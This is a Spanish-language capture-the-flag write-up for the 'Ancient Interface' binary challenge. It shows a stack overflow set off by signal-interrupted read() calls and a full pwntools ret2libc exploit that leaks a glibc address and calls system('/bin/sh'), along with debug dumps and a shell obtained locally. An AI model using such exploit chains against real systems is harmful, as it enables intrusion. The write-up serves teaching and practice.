Ancient Interface
37 minutos de lectura

Se nos proporciona un binario de 64 bits llamado ancient_interface
:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Además, tenemos también el código fuente en C y un archivo DockerFile
:
$ tree
.
├── build-docker.sh
├── challenge
│ ├── ancient_interface
│ ├── ancient_interface.c
│ └── flag.txt
└── Dockerfile
1 directory, 5 files
Análisis de código fuente
No se necesita ingeniería inversa para este reto ya que tenemos el código fuente original:
Se nos proporciona un binario de 64 bits llamado ancient_interface
:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Además, tenemos también el código fuente en C y un archivo DockerFile
:
$ tree
.
├── build-docker.sh
├── challenge
│ ├── ancient_interface
│ ├── ancient_interface.c
│ └── flag.txt
└── Dockerfile
1 directory, 5 files
Análisis de código fuente
No se necesita ingeniería inversa para este reto ya que tenemos el código fuente original:
#include <stdio.h>
#include <unistd.h>
#include <stdint.h>
#include <string.h>
#include <signal.h>
#include <stdlib.h>
#include <sys/time.h>
#include <time.h>
// gcc ancient_interface.c -lrt -no-pie -s -o ancient_interface
#define USER "user"
#define HOSTNAME "host"
#define PROMPT (USER "@" HOSTNAME "$ ")
#define ALARM_HIT "Alarm has been hit!\n"
#define ALARM_HELP "alarm <seconds>\n"
#define ECHO_HELP "echo <$variable/string>\n"
#define READ_HELP "read <amount of bytes> <variable>\n"
#define ARRAY_SIZE(arr) (sizeof(arr) / sizeof(arr[0]))
struct commands {
const char *s;
int (*func)();
};
struct kv {
char *key;
char *val;
};
struct variables {
int32_t size;
struct kv *kv;
};
int cmd_exit(char *params);
int cmd_alarm(char *params);
int cmd_echo(char *params);
int cmd_read(char *params);
int cmd_whoami(char *params);
int cmd_vars(char *params);
static const struct commands CMDS[] = {
{ "exit", &cmd_exit },
{ "alarm", &cmd_alarm },
{ "echo", &cmd_echo },
{ "read", &cmd_read },
{ "whoami", &cmd_whoami },
{ "vars", &cmd_vars },
};
static struct variables VARS;
void alarm_handler()
{
// ...
}
void setup()
{
// ...
}
char *get_var(char *var)
{
// ...
}
int put_var(char *key, char *val)
{
// ...
}
int cmd_exit(char *params)
{
// ...
}
int cmd_alarm(char *params)
{
// ...
}
int cmd_echo(char *params)
{
// ...
}
int cmd_read(char *params)
{
// ...
}
int cmd_whoami(char *params)
{
// ...
}
int cmd_vars(char *params)
{
// ...
}
int main()
{
char buf[4096];
char *p;
char *params;
int32_t ret;
int32_t found;
setup();
while (1)
{
printf(PROMPT);
memset(buf, '\0', sizeof(buf));
ret = read(0, buf, sizeof(buf) - 1);
if (ret <= 1)
continue;
buf[ret - 1] = '\0';
p = strchr(buf, ' ');
if (p != NULL)
{
*p++ = '\0';
while (*p == ' ')
p++;
params = p;
}
else
{
params = NULL;
}
found = 0;
for (int32_t i = 0; i < ARRAY_SIZE(CMDS); i++)
{
if (strcmp(buf, CMDS[i].s) == 0)
{
found = 1;
CMDS[i].func(params);
break;
}
}
if (!found)
printf("%s: command not found\n", buf);
}
return 0;
}
Este programa proporciona una interfaz de shell sencilla. Estas son todas las funciones disponibles:
$ challenge/ancient_interface
user@host$ whoami
user
user@host$ echo asdf
asdf
user@host$ read 8 x
12345678
user@host$ echo $x
12345678
user@host$ vars
x
user@host$ alarm 1
user@host$ Alarm has been hit!
user@host$ exit
Como se puede ver, la función main
toma la entrada del usuario y separa el comando de los argumentos, luego busca entre los comandos disponibles y ejecuta la función correspondiente con los parámetros especificados.
La mayor parte del código está correcto. Veamos las funciones una por una.
Comando whoami
Esta es solo una función de relleno:
int cmd_whoami(char *params)
{
printf("%s\n", USER);
return 0;
}
Comando vars
Esta muestra información sobre las variables:
int cmd_vars(char *params)
{
for (int32_t i = 0; i < VARS.size; i++)
{
if (VARS.kv[i].key != NULL)
{
printf("%s\n", VARS.kv[i].key);
}
}
return 0;
}
Las variables se gestionan con get_var
y put_var
:
char *get_var(char *var)
{
char *p = NULL;
for (int32_t i = 0; i < VARS.size; i++)
{
if (VARS.kv[i].key == NULL)
continue;
if (strcmp(var, VARS.kv[i].key) == 0)
{
p = VARS.kv[i].val;
break;
}
}
return p;
}
int put_var(char *key, char *val)
{
int32_t idx;
idx = -1;
for (int32_t i = 0; i < VARS.size; i++)
{
if (VARS.kv[i].key == NULL)
{
idx = i;
break;
}
}
if (idx < 0)
return 1;
VARS.kv[idx].key = strdup(key);
VARS.kv[idx].val = strdup(val);
if (VARS.kv[idx].key == NULL || VARS.kv[idx].val == NULL)
return 1;
return 0;
}
Nuevamente, la estructura VARS
y la forma en que se usa es segura.
Comando exit
Esta solo sale del programa y libera la memoria:
int cmd_exit(char *params)
{
for (int32_t i = 0; i < VARS.size; i++)
{
if (VARS.kv[i].key != NULL)
free(VARS.kv[i].key);
if (VARS.kv[i].val != NULL)
free(VARS.kv[i].val);
}
exit(EXIT_SUCCESS);
}
Comando echo
Esta función imprime la misma información proporcionada o muestra el valor de una variable dada (comenzando por $
):
int cmd_echo(char *params)
{
int32_t found;
char *val;
if (params == NULL)
{
printf(ECHO_HELP);
return 1;
}
if (*params == '$')
{
val = get_var(params + 1);
if (val == NULL)
printf("%s is not defined\n", params);
else
printf("%s\n", val);
}
else
{
printf("%s\n", params);
}
return 0;
}
Nada extraño aquí.
Comando read
Aquí tenemos la forma de crear variables:
int cmd_read(char *params)
{
char buf[4096] = { 0 };
char *p;
int32_t ret;
int32_t read_bytes;
uint32_t amnt;
if (params == NULL)
{
printf(READ_HELP);
return 1;
}
p = strchr(params, ' ');
if (p == NULL)
{
printf(READ_HELP);
return 1;
}
*p = '\0';
if (get_var(p + 1) != NULL)
{
printf("read: variable $%s already exists\n", p + 1);
return 1;
}
amnt = atoi(params);
if (amnt == 0 || amnt >= sizeof(buf))
{
printf("read: invalid size\n");
return 1;
}
read_bytes = 0;
do
{
read_bytes += read(0, buf + read_bytes, amnt - read_bytes);
} while (read_bytes != amnt);
getchar();
if (put_var(p + 1, buf) != 0)
printf("read: maximum amount of variables reached\n");
return 0;
}
La sintaxis es fácil, solo read <amount> <variable>
, y el programa usará read
con la cantidad especificada de caracteres.
Comando alarm
También tenemos la oportunidad de establecer una alarma:
void alarm_handler()
{
write(1, ALARM_HIT, sizeof(ALARM_HIT));
}
// ...
int cmd_alarm(char *params)
{
int32_t seconds;
struct sigevent sev;
struct itimerspec its;
static timer_t tmid;
if (params == NULL)
{
printf(ALARM_HELP);
return 1;
}
seconds = atoi(params);
if (seconds <= 0)
return 1;
sev.sigev_notify = SIGEV_SIGNAL;
sev.sigev_signo = SIGALRM;
if (timer_create(CLOCK_REALTIME, &sev, &tmid) < 0)
{
perror("timer_create");
return 1;
}
its.it_value.tv_sec = seconds;
its.it_value.tv_nsec = 0;
its.it_interval.tv_sec = 0;
its.it_interval.tv_nsec = 0;
if (timer_settime(tmid, 0, &its, NULL) < 0)
{
perror("timer_settime");
return 1;
}
return 0;
}
En resumen, las funciones de la shell se muestran aquí de nuevo:
$ challenge/ancient_interface
user@host$ whoami
user
user@host$ echo asdf
asdf
user@host$ read 8 x
12345678
user@host$ echo $x
12345678
user@host$ vars
x
user@host$ alarm 1
user@host$ Alarm has been hit!
user@host$ exit
El bug
Cuando leí todas las funciones, vi algún código extraño en cmd_read
:
int cmd_read(char *params)
{
// ...
amnt = atoi(params);
if (amnt == 0 || amnt >= sizeof(buf))
{
printf("read: invalid size\n");
return 1;
}
read_bytes = 0;
do
{
read_bytes += read(0, buf + read_bytes, amnt - read_bytes);
} while (read_bytes != amnt);
getchar();
if (put_var(p + 1, buf) != 0)
printf("read: maximum amount of variables reached\n");
return 0;
}
La forma en que usa read
es bastante rara. Parece que el tamaño de la variable debe ser exactamente el valor ingresado en el comando read
:
$ challenge/ancient_interface
user@host$ read 8 q
asdf
a
a
user@host$ echo $q
asdf
a
a
No se detiene en el carácter de salto de línea.
También pensé que amnt
era vulnerable a Integer Overflow, de modo que ingresar un número negativo nos daría la capacidad de usar read
con una gran cantidad de bytes para leer. Pero no…
Como tenemos el código fuente, podemos agregar algunas instrucciones de depuración y recompilar el código:
int cmd_read(char *params)
{
// ...
amnt = atoi(params);
printf("[DEBUG] amnt = %d (%u). sizeof(buf) = %ld\n", amnt, amnt, sizeof(buf));
if (amnt == 0 || amnt >= sizeof(buf))
{
printf("read: invalid size\n");
return 1;
}
read_bytes = 0;
do
{
printf("Reading %d bytes\n", amnt - read_bytes);
int ret = read(0, buf + read_bytes, amnt - read_bytes);
read_bytes += ret;
printf("Read %d bytes; ret = %d\n", read_bytes, ret);
} while (read_bytes != amnt);
getchar();
if (put_var(p + 1, buf) != 0)
printf("read: maximum amount of variables reached\n");
return 0;
}
$ ./test
user@host$ read 8 q
[DEBUG] amnt = 8 (8). sizeof(buf) = 4096
Reading 8 bytes
asdf
Read 5 bytes; ret = 5
Reading 3 bytes
Read 6 bytes; ret = 1
Reading 2 bytes
q
Read 8 bytes; ret = 2
as
user@host$ s: command not found
user@host$ read -4294967196 w
[DEBUG] amnt = 100 (100). sizeof(buf) = 4096
Reading 100 bytes
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Read 100 bytes; ret = 100
user@host$ AAAA: command not found
Incluso usando Ctrl-D
, no podemos salir del bucle do
-while
:
user@host$ read 8 e
[DEBUG] amnt = 8 (8). sizeof(buf) = 4096
Reading 8 bytes
Read 0 bytes; ret = 0
Reading 8 bytes
Read 0 bytes; ret = 0
Reading 8 bytes
Read 0 bytes; ret = 0
Reading 8 bytes
Read 0 bytes; ret = 0
Reading 8 bytes
asdf
Read 5 bytes; ret = 5
Reading 3 bytes
Read 5 bytes; ret = 0
Reading 3 bytes
Read 5 bytes; ret = 0
Reading 3 bytes
Read 5 bytes; ret = 0
Reading 3 bytes
asd
Read 8 bytes; ret = 3
user@host$
En este punto, debemos echar un vistazo al manual de read
. De hecho, hay algunos valores de retorno que pueden ser negativos, por lo que aumentará la cantidad de bytes a leer:
EINTR
The call was interrupted by a signal before any data was read; see signal(7).
Afortunadamente, tenemos una forma de establecer alarmas. Vamos a probar:
$ ./test
user@host$ alarm 5
user@host$ read 8 p
[DEBUG] amnt = 8 (8). sizeof(buf) = 4096
Reading 8 bytes
Alarm has been hit!
Read -1 bytes; ret = -1
Reading 9 bytes
123456789
Read 8 bytes; ret = 9
zsh: segmentation fault ./test
¡Excelente! Hemos roto el programa con una vulnerabilidad de Buffer Overflow.
Estrategia de explotación
Para explotar la vulnerabilidad del Buffer Overflow, necesitamos establecer muchas alarmas para hacer que read
lea suficientes bytes para ingresar a una cadena de ROP. Una vez que logremos eso, haremos un ataque ret2libc típico (una cadena de ROP para fugar una dirección de Glibc y saltarnos el ASLR y otra cadena ROP para llamar a system("/bin/sh")
). Para obtener más información sobre el ataque ret2libc, consulte Here’s a LIBC, Shooting Star y Notepad as a Service.
Desarrollo del exploit
Veamos cuántos bytes debemos ingresar para controlar la dirección de retorno. Para eso, debemos adjuntar GDB al exploit de Python, ya que las alarmas en GDB no harán que read
devuelva -1
. Usaremos estas funciones:
def send_payload(payload: bytes):
for _ in range(48):
p.sendlineafter(PROMPT, b'alarm 2')
p.sendlineafter(PROMPT, b'read 8 q')
sleep(3)
gdb.attach(p, 'continue')
p.sendline(payload.ljust(8 + 48, b'A'))
def main():
rop = ROP(elf)
send_payload(cyclic(100))
p.interactive()
if __name__ == '__main__':
p = get_process()
main()
Obsérvese que GDB se adjunta después de activar las alarmas. También tenga en cuenta que establecemos un total de 48
alarmas, para que obtengamos un desbordamiento de 48
bytes. De hecho, el programa se rompe. Usando cyclic
de pwntools
podemos saber cuántos caracteres necesitamos para controlar la dirección de retorno:
gef➤ x/s $rsp
0x7ffe2251d1a8: "caaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaa"
gef➤ shell pwn cyclic -l caaa
8
Entonces, solo necesitamos un relleno de 8
caracteres. Después de esos, pondremos la cadena ROP.
Como se dijo antes, el exploit es solo un ataque ret2libc. Aquí está el resto del exploit. No hay nada diferente de otros ataques ret2libc, solo la forma de obtener la vulnerabilidad de Buffer Overflow:
def main():
rop = ROP(elf)
payload = b'A' * 8
payload += p64(rop.rdi.address)
payload += p64(elf.got.printf)
payload += p64(elf.plt.puts)
payload += p64(0x401290)
send_payload(payload)
printf_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\0'))
p.info(f'Leaked printf() address: {hex(printf_addr)}')
glibc.address = printf_addr - glibc.sym.printf
p.success(f'Glibc base address: {hex(glibc.address)}')
payload = b'A' * 8
payload += p64(rop.rdi.address)
payload += p64(next(glibc.search(b'/bin/sh')))
payload += p64(rop.ret.address)
payload += p64(glibc.sym.system)
send_payload(payload)
p.interactive()
Si quitamos GDB de send_payload
, Obtendremos una shell localmente:
$ python3 solve.py
[*] './challenge/ancient_interface'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process './challenge/ancient_interface': pid 2874152
[*] Loaded 17 cached gadgets for 'challenge/ancient_interface'
[DEBUG] Received 0xb bytes:
b'user@host$ '
[DEBUG] Sent 0x8 bytes:
b'alarm 2\n'
[DEBUG] Received 0xb bytes:
b'user@host$ '
[DEBUG] Sent 0x8 bytes:
b'alarm 2\n'
...
[DEBUG] Received 0xb bytes:
b'user@host$ '
[DEBUG] Sent 0x9 bytes:
b'read 8 q\n'
[DEBUG] Sent 0x39 bytes:
00000000 41 41 41 41 41 41 41 41 43 1d 40 00 00 00 00 00 │AAAA│AAAA│C·@·│····│
00000010 48 40 40 00 00 00 00 00 74 11 40 00 00 00 00 00 │H@@·│····│t·@·│····│
00000020 90 12 40 00 00 00 00 00 41 41 41 41 41 41 41 41 │··@·│····│AAAA│AAAA│
00000030 41 41 41 41 41 41 41 41 0a │AAAA│AAAA│·│
00000039
[DEBUG] Received 0x3f7 bytes:
00000000 41 6c 61 72 6d 20 68 61 73 20 62 65 65 6e 20 68 │Alar│m ha│s be│en h│
00000010 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 │it!·│·Ala│rm h│as b│
00000020 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 │een │hit!│··Al│arm │
00000030 68 61 73 20 62 65 65 6e 20 68 69 74 21 0a 00 41 │has │been│ hit│!··A│
00000040 6c 61 72 6d 20 68 61 73 20 62 65 65 6e 20 68 69 │larm│ has│ bee│n hi│
00000050 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 65 │t!··│Alar│m ha│s be│
00000060 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 │en h│it!·│·Ala│rm h│
00000070 61 73 20 62 65 65 6e 20 68 69 74 21 0a 00 41 6c │as b│een │hit!│··Al│
00000080 61 72 6d 20 68 61 73 20 62 65 65 6e 20 68 69 74 │arm │has │been│ hit│
00000090 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 65 65 │!··A│larm│ has│ bee│
000000a0 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 │n hi│t!··│Alar│m ha│
000000b0 73 20 62 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 │s be│en h│it!·│·Ala│
000000c0 72 6d 20 68 61 73 20 62 65 65 6e 20 68 69 74 21 │rm h│as b│een │hit!│
000000d0 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 65 65 6e │··Al│arm │has │been│
000000e0 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 │ hit│!··A│larm│ has│
000000f0 20 62 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 │ bee│n hi│t!··│Alar│
00000100 6d 20 68 61 73 20 62 65 65 6e 20 68 69 74 21 0a │m ha│s be│en h│it!·│
00000110 00 41 6c 61 72 6d 20 68 61 73 20 62 65 65 6e 20 │·Ala│rm h│as b│een │
00000120 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 │hit!│··Al│arm │has │
00000130 62 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d │been│ hit│!··A│larm│
00000140 20 68 61 73 20 62 65 65 6e 20 68 69 74 21 0a 00 │ has│ bee│n hi│t!··│
00000150 41 6c 61 72 6d 20 68 61 73 20 62 65 65 6e 20 68 │Alar│m ha│s be│en h│
00000160 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 │it!·│·Ala│rm h│as b│
00000170 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 │een │hit!│··Al│arm │
00000180 68 61 73 20 62 65 65 6e 20 68 69 74 21 0a 00 41 │has │been│ hit│!··A│
00000190 6c 61 72 6d 20 68 61 73 20 62 65 65 6e 20 68 69 │larm│ has│ bee│n hi│
000001a0 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 65 │t!··│Alar│m ha│s be│
000001b0 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 │en h│it!·│·Ala│rm h│
000001c0 61 73 20 62 65 65 6e 20 68 69 74 21 0a 00 41 6c │as b│een │hit!│··Al│
000001d0 61 72 6d 20 68 61 73 20 62 65 65 6e 20 68 69 74 │arm │has │been│ hit│
000001e0 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 65 65 │!··A│larm│ has│ bee│
000001f0 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 │n hi│t!··│Alar│m ha│
00000200 73 20 62 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 │s be│en h│it!·│·Ala│
00000210 72 6d 20 68 61 73 20 62 65 65 6e 20 68 69 74 21 │rm h│as b│een │hit!│
00000220 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 65 65 6e │··Al│arm │has │been│
00000230 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 │ hit│!··A│larm│ has│
00000240 20 62 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 │ bee│n hi│t!··│Alar│
00000250 6d 20 68 61 73 20 62 65 65 6e 20 68 69 74 21 0a │m ha│s be│en h│it!·│
00000260 00 41 6c 61 72 6d 20 68 61 73 20 62 65 65 6e 20 │·Ala│rm h│as b│een │
00000270 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 │hit!│··Al│arm │has │
00000280 62 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d │been│ hit│!··A│larm│
00000290 20 68 61 73 20 62 65 65 6e 20 68 69 74 21 0a 00 │ has│ bee│n hi│t!··│
000002a0 41 6c 61 72 6d 20 68 61 73 20 62 65 65 6e 20 68 │Alar│m ha│s be│en h│
000002b0 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 │it!·│·Ala│rm h│as b│
000002c0 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 │een │hit!│··Al│arm │
000002d0 68 61 73 20 62 65 65 6e 20 68 69 74 21 0a 00 41 │has │been│ hit│!··A│
000002e0 6c 61 72 6d 20 68 61 73 20 62 65 65 6e 20 68 69 │larm│ has│ bee│n hi│
000002f0 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 65 │t!··│Alar│m ha│s be│
00000300 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 │en h│it!·│·Ala│rm h│
00000310 61 73 20 62 65 65 6e 20 68 69 74 21 0a 00 41 6c │as b│een │hit!│··Al│
00000320 61 72 6d 20 68 61 73 20 62 65 65 6e 20 68 69 74 │arm │has │been│ hit│
00000330 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 65 65 │!··A│larm│ has│ bee│
00000340 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 │n hi│t!··│Alar│m ha│
00000350 73 20 62 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 │s be│en h│it!·│·Ala│
00000360 72 6d 20 68 61 73 20 62 65 65 6e 20 68 69 74 21 │rm h│as b│een │hit!│
00000370 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 65 65 6e │··Al│arm │has │been│
00000380 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 │ hit│!··A│larm│ has│
00000390 20 62 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 │ bee│n hi│t!··│Alar│
000003a0 6d 20 68 61 73 20 62 65 65 6e 20 68 69 74 21 0a │m ha│s be│en h│it!·│
000003b0 00 41 6c 61 72 6d 20 68 61 73 20 62 65 65 6e 20 │·Ala│rm h│as b│een │
000003c0 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 │hit!│··Al│arm │has │
000003d0 62 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d │been│ hit│!··A│larm│
000003e0 20 68 61 73 20 62 65 65 6e 20 68 69 74 21 0a 00 │ has│ bee│n hi│t!··│
000003f0 90 fc ea 92 f6 7f 0a │····│···│
000003f7
[*] Leaked printf() address: 0x7ff692eafc90
[+] Glibc base address: 0x7ff692e4e000
[DEBUG] Received 0x16 bytes:
b'user@host$ user@host$ '
[DEBUG] Sent 0x8 bytes:
b'alarm 2\n'
[*] Leaked printf() address: 0x7ff692eafc90
[+] Glibc base address: 0x7ff692e4e000
[DEBUG] Received 0x16 bytes:
b'user@host$ user@host$ '
[DEBUG] Sent 0x8 bytes:
b'alarm 2\n'
[DEBUG] Sent 0x8 bytes:
b'alarm 2\n'
...
[DEBUG] Sent 0x8 bytes:
b'alarm 2\n'
[DEBUG] Received 0x16 bytes:
b'user@host$ user@host$ '
[DEBUG] Sent 0x9 bytes:
b'read 8 q\n'
[DEBUG] Sent 0x39 bytes:
00000000 41 41 41 41 41 41 41 41 43 1d 40 00 00 00 00 00 │AAAA│AAAA│C·@·│····│
00000010 bd 25 00 93 f6 7f 00 00 1a 10 40 00 00 00 00 00 │·%··│····│··@·│····│
00000020 90 02 ea 92 f6 7f 00 00 41 41 41 41 41 41 41 41 │····│····│AAAA│AAAA│
00000030 41 41 41 41 41 41 41 41 0a │AAAA│AAAA│·│
00000039
[*] Switching to interactive mode
user@host$ [DEBUG] Received 0x3f0 bytes:
00000000 41 6c 61 72 6d 20 68 61 73 20 62 65 65 6e 20 68 │Alar│m ha│s be│en h│
00000010 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 │it!·│·Ala│rm h│as b│
00000020 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 │een │hit!│··Al│arm │
00000030 68 61 73 20 62 65 65 6e 20 68 69 74 21 0a 00 41 │has │been│ hit│!··A│
00000040 6c 61 72 6d 20 68 61 73 20 62 65 65 6e 20 68 69 │larm│ has│ bee│n hi│
00000050 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 65 │t!··│Alar│m ha│s be│
00000060 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 │en h│it!·│·Ala│rm h│
00000070 61 73 20 62 65 65 6e 20 68 69 74 21 0a 00 41 6c │as b│een │hit!│··Al│
00000080 61 72 6d 20 68 61 73 20 62 65 65 6e 20 68 69 74 │arm │has │been│ hit│
00000090 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 65 65 │!··A│larm│ has│ bee│
000000a0 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 │n hi│t!··│Alar│m ha│
000000b0 73 20 62 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 │s be│en h│it!·│·Ala│
000000c0 72 6d 20 68 61 73 20 62 65 65 6e 20 68 69 74 21 │rm h│as b│een │hit!│
000000d0 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 65 65 6e │··Al│arm │has │been│
000000e0 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 │ hit│!··A│larm│ has│
000000f0 20 62 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 │ bee│n hi│t!··│Alar│
00000100 6d 20 68 61 73 20 62 65 65 6e 20 68 69 74 21 0a │m ha│s be│en h│it!·│
00000110 00 41 6c 61 72 6d 20 68 61 73 20 62 65 65 6e 20 │·Ala│rm h│as b│een │
00000120 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 │hit!│··Al│arm │has │
00000130 62 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d │been│ hit│!··A│larm│
00000140 20 68 61 73 20 62 65 65 6e 20 68 69 74 21 0a 00 │ has│ bee│n hi│t!··│
00000150 41 6c 61 72 6d 20 68 61 73 20 62 65 65 6e 20 68 │Alar│m ha│s be│en h│
00000160 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 │it!·│·Ala│rm h│as b│
00000170 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 │een │hit!│··Al│arm │
00000180 68 61 73 20 62 65 65 6e 20 68 69 74 21 0a 00 41 │has │been│ hit│!··A│
00000190 6c 61 72 6d 20 68 61 73 20 62 65 65 6e 20 68 69 │larm│ has│ bee│n hi│
000001a0 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 65 │t!··│Alar│m ha│s be│
000001b0 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 │en h│it!·│·Ala│rm h│
000001c0 61 73 20 62 65 65 6e 20 68 69 74 21 0a 00 41 6c │as b│een │hit!│··Al│
000001d0 61 72 6d 20 68 61 73 20 62 65 65 6e 20 68 69 74 │arm │has │been│ hit│
000001e0 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 65 65 │!··A│larm│ has│ bee│
000001f0 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 │n hi│t!··│Alar│m ha│
00000200 73 20 62 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 │s be│en h│it!·│·Ala│
00000210 72 6d 20 68 61 73 20 62 65 65 6e 20 68 69 74 21 │rm h│as b│een │hit!│
00000220 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 65 65 6e │··Al│arm │has │been│
00000230 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 │ hit│!··A│larm│ has│
00000240 20 62 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 │ bee│n hi│t!··│Alar│
00000250 6d 20 68 61 73 20 62 65 65 6e 20 68 69 74 21 0a │m ha│s be│en h│it!·│
00000260 00 41 6c 61 72 6d 20 68 61 73 20 62 65 65 6e 20 │·Ala│rm h│as b│een │
00000270 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 │hit!│··Al│arm │has │
00000280 62 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d │been│ hit│!··A│larm│
00000290 20 68 61 73 20 62 65 65 6e 20 68 69 74 21 0a 00 │ has│ bee│n hi│t!··│
000002a0 41 6c 61 72 6d 20 68 61 73 20 62 65 65 6e 20 68 │Alar│m ha│s be│en h│
000002b0 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 │it!·│·Ala│rm h│as b│
000002c0 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 │een │hit!│··Al│arm │
000002d0 68 61 73 20 62 65 65 6e 20 68 69 74 21 0a 00 41 │has │been│ hit│!··A│
000002e0 6c 61 72 6d 20 68 61 73 20 62 65 65 6e 20 68 69 │larm│ has│ bee│n hi│
000002f0 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 65 │t!··│Alar│m ha│s be│
00000300 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 │en h│it!·│·Ala│rm h│
00000310 61 73 20 62 65 65 6e 20 68 69 74 21 0a 00 41 6c │as b│een │hit!│··Al│
00000320 61 72 6d 20 68 61 73 20 62 65 65 6e 20 68 69 74 │arm │has │been│ hit│
00000330 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 65 65 │!··A│larm│ has│ bee│
00000340 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 │n hi│t!··│Alar│m ha│
00000350 73 20 62 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 │s be│en h│it!·│·Ala│
00000360 72 6d 20 68 61 73 20 62 65 65 6e 20 68 69 74 21 │rm h│as b│een │hit!│
00000370 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 65 65 6e │··Al│arm │has │been│
00000380 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 │ hit│!··A│larm│ has│
00000390 20 62 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 │ bee│n hi│t!··│Alar│
000003a0 6d 20 68 61 73 20 62 65 65 6e 20 68 69 74 21 0a │m ha│s be│en h│it!·│
000003b0 00 41 6c 61 72 6d 20 68 61 73 20 62 65 65 6e 20 │·Ala│rm h│as b│een │
000003c0 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 │hit!│··Al│arm │has │
000003d0 62 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d │been│ hit│!··A│larm│
000003e0 20 68 61 73 20 62 65 65 6e 20 68 69 74 21 0a 00 │ has│ bee│n hi│t!··│
000003f0
Alarm has been hit!
\x00larm has been hit!
\x00larm has been hit!
...
\x00larm has been hit!
\x00larm has been hit!
\x00$ ls
[DEBUG] Sent 0x3 bytes:
b'ls\n'
[DEBUG] Received 0x44 bytes:
b'build-docker.sh challenge core Dockerfile solve.py\ttest test.c\n'
build-docker.sh challenge core Dockerfile solve.py test test.c
Curiosamente, si quitamos context.log_level = 'DEBUG'
, el exploit fallará. Probablemente por algunos problemas de IO.
Flag
Ejecutemos el exploit de forma remota (mi versión local de Glibc es la misma en remoto, de Ubuntu 20.04):
$ python3 solve.py 46.101.10.90:30565
[*] './challenge/ancient_interface'
